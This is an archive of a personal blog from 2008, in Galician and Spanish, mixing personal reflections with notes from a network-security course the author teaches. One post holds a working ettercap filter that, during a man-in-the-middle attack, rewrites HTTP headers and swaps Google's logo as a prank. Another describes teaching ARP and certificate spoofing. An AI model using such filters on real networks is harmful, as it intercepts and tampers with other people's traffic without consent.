Archive for the 'As cousas' Category

Otra vez dolor.

Xoves, Xullo 3rd, 2008

Esta noche he visto como dos de las personas que más aprecio se estrellaban contra la pared, una y otra vez hasta desaparecer. Resulta doloroso, a pesar de que ya debería de estar acostumbrado.

Supongo que sucede como con las picaduras de los insectos, a las que uno se va sensibilizando a lo largo de los años hasta terminar por contraer una alergia. Puede que ahora ya no sea gracioso. No me conozco.

La próxima noche el proxeneta seré yo.

Luz

Martes, Xullo 1st, 2008

Ás veces hai persoas ás que se lles debe á vida. Ós pais, por suposoto. Especialmente ás nais. Pero tamén a outras persoas, dun xeito máis sutil e menos directo.

E non é que estas persoas fagan nada especial por un. Non é necesario que teñan feito grandes sacrificios nen incribles actos de abnegación. Ás veces non son necesarias tan sequera verbas. Nada desto ten porqué ser necesario… ás veces.

Ás veces pode chegar cunha mirada que non se afasta e un silencio en resposta. Un sorriso, unha bagoa. Un acorde compartido de dous fios de pensamento vibrando máis aló do ar. O perfume intanxible do espíritu. A resistencia das moléculas resonando coa mesma forza no mesmo acorde. Tepedeza dunha aperta devolvendo ó sangue a vida que esquecera desde un instante eterno ata ese instante.

Esa é a forza que ás veces se pode recibir doutra persoa. O reflexo dun ti mesmo olvidado resoando nun outro ti enunciando “estas aquí”. Si, e se ti non tiveses chegado, non estaría.

Creación de empresas

Venres, Xuño 27th, 2008

Onte tocou asisitir como alumno a un mini-curso de presentación dos novos materiais de BIC Galicia sobre autoemprego. A verdade que foi máis interesante do que eu agardaba.

Os materiais están ben pensados para o traballo en clase, incluen as referencias necesarias e fan moito fincapé en aclarar os conceptos de “empresa”, “empresario” e “emprendedor”, así como nos xeitos de validar as ideas antes de iniciar o proyecto de empresa. Tódolos libriños para os alumnos estarán dispoñibles dentro de pouco na páxina web de BIC Galicia.

Agora toca compartir o dito material cos alumnos, a ver se lle poden sacar partido.

Noces

Venres, Xuño 13th, 2008

NocesEn casa temos unha cunca grande de madeira, chea de noces. Cando paso pola cociña collo algunha noz e miro de abrila apretandoa cos dedos. Algunhas están moi duras e as deixo outra vez na cunca, pero sempre atopo algunha que está máis doada de abrir e difruto comendoa.

Ó final sempre pasa o mesmo. As noces duras rematan no final da cunca e cando xa non queda ningunha noz facil de abrir, hai que roer nas duras.

Pregúntome ata que punto a vida parécese a unha cunca de noces.

Bromeando con ettercap

Martes, Xuño 10th, 2008

 Desde logo que hai cousas que son divertidas. Se me dixeran que co ettercap se podia facer este tipo de tonterías teríao estudiado a fondo moito antes.

Google Melucado

if (ip.proto==TCP) {
if (tcp.dst==80) {
if (search(DATA.data, “Accept-Encoding”)) {
replace(”Accept-Encoding: gzip,deflate”, “Accept-Encoding: text “);
replace(”Accept-Encoding: deflate,gzip”, “Accept-Encoding: text “);
replace(”Accept-Encoding: deflate”, “Accept-Encoding: text “);
replace(”Accept-Encoding: gzip”, “Accept-Encoding: txt”);
msg(”Evitando formatos comprimidos…\n”);
}
}
if (tcp.src==80) {
if (search(DATA.data, “/intl/en_com/images/logo_plain.png”)) {
replace(”/intl/en_com/images/logo_plain.png”, “ftp://partenon.local/daniel/lo.png”);
msg(”Google Meluquizado…\n”);
}
}
}

Encriptar

Domingo, Xuño 8th, 2008

A veces las personas necesitamos sentirnos mejor. A veces intentamos consegirlo buscando la forma de sentirnos parte de un grupo social en el que se valoren nuestras capacidades o actitudes. Esto es natural y forma parte de nuestra naturaleza.

El problema llega cuando decidimos (inconscientes) formar parte de un grupo social basado en la exclusión. Esto grupos existen únicamente porque ayudan a sus miembros a sentirse parte integrada de una comunidad, sin ofrecer más beneficio a propios o ajenos. El mecanismo por el que consiguen esto es mediante la exclusión y el menosprecio de otras comunidades de personas. Muchos grupos nacionalistas (de naciones pequeñas o grandes, no importa), agrupaciones políticas, religiosas, peñas deportivas antideportivas… muchas de las agrupaciones sociales que defienden posturas más radicales funcionan y se mantienen mediante este mecanismo. Para si mismos, sus miembros son “guais” por comparación con los miembros de otros grupos, que son detestables y represental “al mal”. Y digo “muchas”. Ni todas ni, probablemente, la mayoría.

Algunos de estos grupos se conforman en causas lingüisticas (lenguas de naciones extensas o discretas, no importa). Concretamente se está creando una comunidad que tiene la misión sagrada de purificar el argot informático y quemar a los brujos neologistas ignorantes. Pues bueno…

Como siempre é tenido la tendencia de no hacer demasiado caso de lo que me dicen en tanto y en cuanto no compruebo la conveniencia de hacerlo, y dado que esta gente no esgrime más argumento que “conservar el idioma”, creo que no les haré caso. Así que continuaré usando las palabras “cifrar” y “encriptar” de forma diferenciada, como me lo enseñaron en su moment:

  • Emplearé  cifrar para referirme a codificar datos de forma que la información contenida permanezca oculta y sea solo accesible a quienes conozcan el cifrado empleado.
  • Emplearé encriptado para referirme a la codificación matemática de una serie de datos de forma que estos no sean recuperables en forma alguna.

Todo esto en teoría, claro.

Pasiño a pasiño

Mércores, Xuño 4th, 2008

man in the middleDurante esta semana, no curso, centreime demasiado nos ataques de MITM e o spoofing de ARP e certificados. Son atáques doados de realizar e que permiten ver resultados inmediatos. Creo que o máis interesante é que despertan o interés dos alumnos e fannos conscientes de que todos estamos expostos a este tipo de ataques; axudalles a deixar de velos como algo lonxano e complicado para pasar a ter unha imaxe dos mesmos como algo simple e que pode entrer na cotidianidade.

Mañá toca retomar os temas básicos e centrarse en coñecer mellor os sistemas *NIX. Imos darlle unha volta á xestión básica de usuarios é os permisos e etributos do sistema de ficheiros. Dependendo de como vexa a cousa retareinos a tentar realizar un ataque de MITM contra equipos coa táboa ARP blindada.

Dentro duns dias empezarei coas ferramentas IDS (sistemas de detección de intrusións) e con outros tipos de ataques de rede (DoS por flood de diferentes tipos). Logo chegará o ,o,emtp de facer algunha avaliación.

Orgullo Friki

Sábado, Maio 24th, 2008

Dia del Orgullo FrikiLa posición en la que ha quedado España este año en €visión es total y completamente injusta. Hoy se celebra el Día del Orgullo Friki, y creo que este hecho no se ha tenido en cuenta, no desde luego en su justa medida.

No importa, el tiempo pone a cada quien en su lugar, La Fuerza está con nosotros, y siempre, siempre, ganarán los buenos.

Si te arrepientes de haber desperdiciado tu vida de una forma tan bulgar y quieres darle algún sentido, estás a tiempo de leerte el Manual para Frikis. Y recuerda, puedes hacerlo… o no hacerlo, pero nuca lo intentes.

Hard link

Venres, Maio 23rd, 2008
 

Grieta

Del info de las coreutils:

  A "hard link" is another name for an existing file; the link and the
original are indistinguishable.  Technically speaking, they share the
same inode, and the inode contains all the information about a
file--indeed, it is not incorrect to say that the inode _is_ the file.
On all existing implementations, you cannot make a hard link to a
directory, and hard links cannot cross file system boundaries.  (These
restrictions are not mandated by POSIX, however.)

Nada que ver con borrar directorios, pero rompiendo cosas se aprende. Por suerte, quedan muchas cosas que romper, y muchas puestas de sol para ver.

Curso seguridade

Xoves, Maio 22nd, 2008

Hoxe foi o segundo dia do curso de seguridade. Moito lio coas altas e baixas de alumnos e primeiros tanteos para determinar o nivel inicial e as demandas do alumnado.

Estou contento coa academia e co alumnado. É a primeira vez que un grupo de alumnos me montan unha topoloxía de catro subredes enrutadas entre si e cara Internet en un par de horas, deixando o tempo das explicacións a parte.

Á fin vou dar por rematado, polo de agora, o manualiño de seguridade. Non é que estou satisfeito, pero creo que cheguei a un punto de saturación. Deixarei como está a primeira versión e agardarei a que xurda a inspiración para seguir traballando nel. Podedes collelo na páxina de sempre.

Agora teño que empezar co manual de probas de penetración, porque o anterior cíñese á parte conceptual, xestión de riscos e demais. Se non atopo un manualiño mínimamente práctico sobre probas de penetración tocaráme facelo a min.

Estou que morro de sono.